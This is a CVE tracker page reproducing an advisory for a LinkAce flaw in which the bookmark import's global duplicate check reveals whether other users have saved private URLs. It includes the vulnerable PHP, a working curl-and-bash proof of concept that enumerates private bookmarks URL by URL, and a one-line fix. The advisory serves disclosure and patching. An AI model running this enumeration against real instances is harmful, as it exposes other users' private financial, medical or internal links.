CVE Watchtower

← Back to CVE List

CVE-2026-104185NVD

Vulnerability Summary

Summary I found that LinkAce's HTML bookmark import function checks for duplicate URLs across all users and all visibility levels — not just the importing user's own bookmarks. This means any authenticated user can perform a binary oracle to determine whether any specific URL has been saved by any other user in the system, including URLs bookmarked as `PRIVATE` (is_private=1). By importing a single-entry bookmark file and observing whether the response reports `skipped=1` (URL exists in the system) or `queued=1` (URL not found), an attacker can enumerate private bookmarks of other users one URL at a time. Details In `app/Actions/ImportHtmlBookmarks.php` at line 42: ```php // ImportHtmlBookmarks.php line 42 if (Link::whereUrl($link['url'])->first()) { $this->skipped++; continue; } ``` The `Link::whereUrl()` scope in `app/Models/Link.php` performs a global lookup with no `user_id` or `is_private` constraint: ```php // app/Models/Link.php public function scopeWhereUrl(Builder $query, string $url): Builder { return $query->where('url', $url); } ``` This means the duplicate check matches any link with that URL regardless of ownership or privacy setting. The import endpoint then returns an `ImportResult` that includes the `skipped` count, which is directly visible to the importing user in the response or job result. By contrast, when a user searches for links in their own collection, the query correctly scopes to `user_id = auth()->id()` and respects `is_private` for other users' public links. PoC Prerequisites: - Two LinkAce accounts: victim and attacker - Victim has saved a private bookmark: `https://confidential.example.com/user/alice/salary-slip-2025.pdf` - Tools: `curl`, a Netscape bookmark HTML file ```bash LINKACE="https://linkace.example.com" ATTACKER_SESSION="<attacker-session-cookie>" # or API token Step 1 — Victim saves a PRIVATE bookmark (done by victim, not shown) Result: Link created with is_private=1, user_id=<victim_id> Step 2 — Attacker creates a probe bookmark file for the target URL cat > /tmp/probe.html << 'HTML' <!DOCTYPE NETSCAPE-Bookmark-file-1> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Bookmarks</H1> <DL><p> <DT><A HREF="https://confidential.example.com/user/alice/salary-slip-2025.pdf" ADD_DATE="1700000000">Probe</A> </DL><p> HTML Step 3 — Attacker imports the probe file RESP=$(curl -s -X POST "$LINKACE/import" \ -b "$ATTACKER_SESSION" \ -H "X-CSRF-TOKEN: <csrf_token>" \ -F "import-file=@/tmp/probe.html;type=text/html") echo "$RESP" | python3 -c "import sys,json; d=json.load(sys.stdin); print('Skipped:', d.get('skipped'), 'Queued:', d.get('queued'))" Expected if URL EXISTS in any user's bookmarks: {"skipped": 1, "queued": 0, ...} Expected if URL does NOT exist: {"skipped": 0, "queued": 1, ...} Result: attacker learns that alice has bookmarked the salary-slip URL Step 4 — Enumerate multiple private URLs for URL in \ "https://banking.example.com/alice/account" \ "https://medical.example.com/alice/records" \ "https://confidential.example.com/alice/docs"; do cat > /tmp/probe.html << HTML <!DOCTYPE NETSCAPE-Bookmark-file-1><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><TITLE>Bookmarks</TITLE><H1>Bookmarks</H1><DL><p><DT><A HREF="$URL" ADD_DATE="1700000000">P</A></DL><p> HTML RESULT=$(curl -s -X POST "$LINKACE/import" -b "$ATTACKER_SESSION" \ -H "X-CSRF-TOKEN: <csrf>" -F "import-file=@/tmp/probe.html;type=text/html" | \ python3 -c "import sys,json; d=json.load(sys.stdin); print('EXISTS' if d.get('skipped',0)>0 else 'not found')") echo "$URL: $RESULT" done Expected: reveals which private URLs other users have bookmarked ``` Impact Any authenticated LinkAce user can determine whether any specific URL — including URLs saved as `PRIVATE` by other users — exists in the system's bookmark database. This can reveal: - Sensitive personal URLs that other users have saved (financial, medical, HR documents) - Internal URLs that employees have bookmarked (intranet paths, admin panels, internal APIs) - Private API endpoints or access-token URLs embedded in bookmarked addresses The attack is low-cost (one HTTP request per probe URL) and leaves no trace beyond normal import activity. On an instance with many users, systematic probing of known URL patterns can enumerate significant amounts of private data. Fix Scope the duplicate-URL check in `app/Actions/ImportHtmlBookmarks.php` to the importing user's own links only: ```php // Change: if (Link::whereUrl($link['url'])->first()) { // To: if (Link::whereUrl($link['url'])->where('user_id', $userId)->first()) { ``` This correctly skips only the importing user's own duplicate URLs without exposing other users' private bookmarks. It also fixes the secondary issue where users currently cannot import URLs that other users have already saved. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
Severity Level
MEDIUM(4.3)
Published Date
Oct 2, 2026
Last Modified
Oct 2, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v3.1 Base Metrics — Score 4.3
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • kovah/linkace <= 2.5.9
Patched Versions
  • kovah/linkace 2.6.0
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.